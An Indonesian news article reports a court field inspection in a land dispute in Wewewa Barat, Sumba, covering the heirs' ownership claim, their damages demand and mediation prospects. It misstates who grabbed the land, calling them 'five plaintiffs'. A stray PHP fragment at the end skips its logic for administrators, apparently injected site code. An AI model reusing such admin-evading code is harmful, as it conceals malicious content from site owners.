Hukum

Hakim PN Waikabubak Gelar Descente, Periksa Langsung Objek Sengketa Lahan di Persimpangan Waimangura

×

Hakim PN Waikabubak Gelar Descente, Periksa Langsung Objek Sengketa Lahan di Persimpangan Waimangura

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Sengketa lahan seluas kurang lebih 997 meter persegi yang terletak di Jalan Ahmad Yani, simpang Waimangura, Kecamatan Wewewa Barat, Kabupaten SBD sudah bergulir di Pengadilan Negeri Waikabubak.

Gugatan atas lahan ini resmi dilayangkan pada 8 Mei 2025 oleh Naomi Seingo (55), Yordan Vilares Jusen Male (25), dan Yacoba Milla (23) selaku ahli waris almarhum Christoferous Milla Male melalui kuasa hukum dari Kantor Advokat Keba Pala Ndima, SH, M.Pd & Partners 

Dalam berkas gugatan kuasa hukum menyebut, sangat jelas objek sengketa itu adalah hak kliennya yang dibeli secara sah, diukur secara resmi, dan telah bersertifikat. 

“Tanah tersebut sah milik keluarga berdasarkan Akta Jual Beli tahun 2004 serta Sertifikat Hak Milik (SHM) Nomor 482 atas nama almarhum Christoferous Milla Male,” ujar kuasa hukum Keba Pala Ndima. 

Penjelasan ini disampaikannya usai dilakukan Descente (Pemeriksaan Setempat) atau lebih dikenal dengan sidang lapangan yang digelar PN Waikabubak di lokasi sengketa pada Rabu (27/08/2025).

Disebutkannya, lima orang penggugat telah melakukan tindakan melawan hukum dengan menyerobot lahan dan memasang patok.

Bahkan, pada bulan Juni 2024 upaya ahli waris untuk membangun tembok pembatas dihalangi pihak tergugat.

“Untuk itu klien kami menuntut ganti rugi sebesar 1,5 miliar, yang terdiri dari kerugian materiil sejumlah 500 juta dan kerugian immateriil sebanyak 1 miliar,” terangnya. 

Ia menambahkan, kliennya juga menuntut dwangsom (uang paksa) sebesar 1 juta per hari jika kelak putusan pengadilan tidak dipatuhi oleh para tergugat. 

Secara terpisah, kuasa hukum tergugat, Yohanes Bulu Dappa, SH, MH mengatakan, kliennya membuka diri untuk berdamai. 

“Tergantung nanti usulan kesepakatan bisa diterima bersama. Jika salah satu pihak menolak maka jelas upaya damai tidak berlaku,” timpalnya. 

Menanggapi pernyataan ini, selaku kuasa hukum ahli waris, Keba Pala Ndima mengutarakan bahwa kliennya tidak menutup diri untuk mediasi damai.

Namun upaya ke arah itu sangat ditentukan oleh niat baik para tergugat.

Descente (Pemeriksaan Setempat) atau sidang lapangan dalam sengketa lahan memungkinkan hakim memeriksa langsung objek sengketa demi memperjelas letak, batas, dan kondisi lahan. 

Sidang lapangan dapat dilakukan atas inisiatif hakim atau permintaan para pihak yang berperkara, dan dianggap sebagai alat bukti yang sangat penting untuk menambah keyakinan hakim dalam mengambil keputusan. 

Salah satu hakim anggota menyebut, kendati sudah masuk tahap persidangan, perkara tersebut masih bisa diselesaikan secara kekeluargaan. 

“Peluang damai masih terbuka lebar, dan apa pun keputusan hakim harus dipatuhi oleh kedua belah pihak,” tandasnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>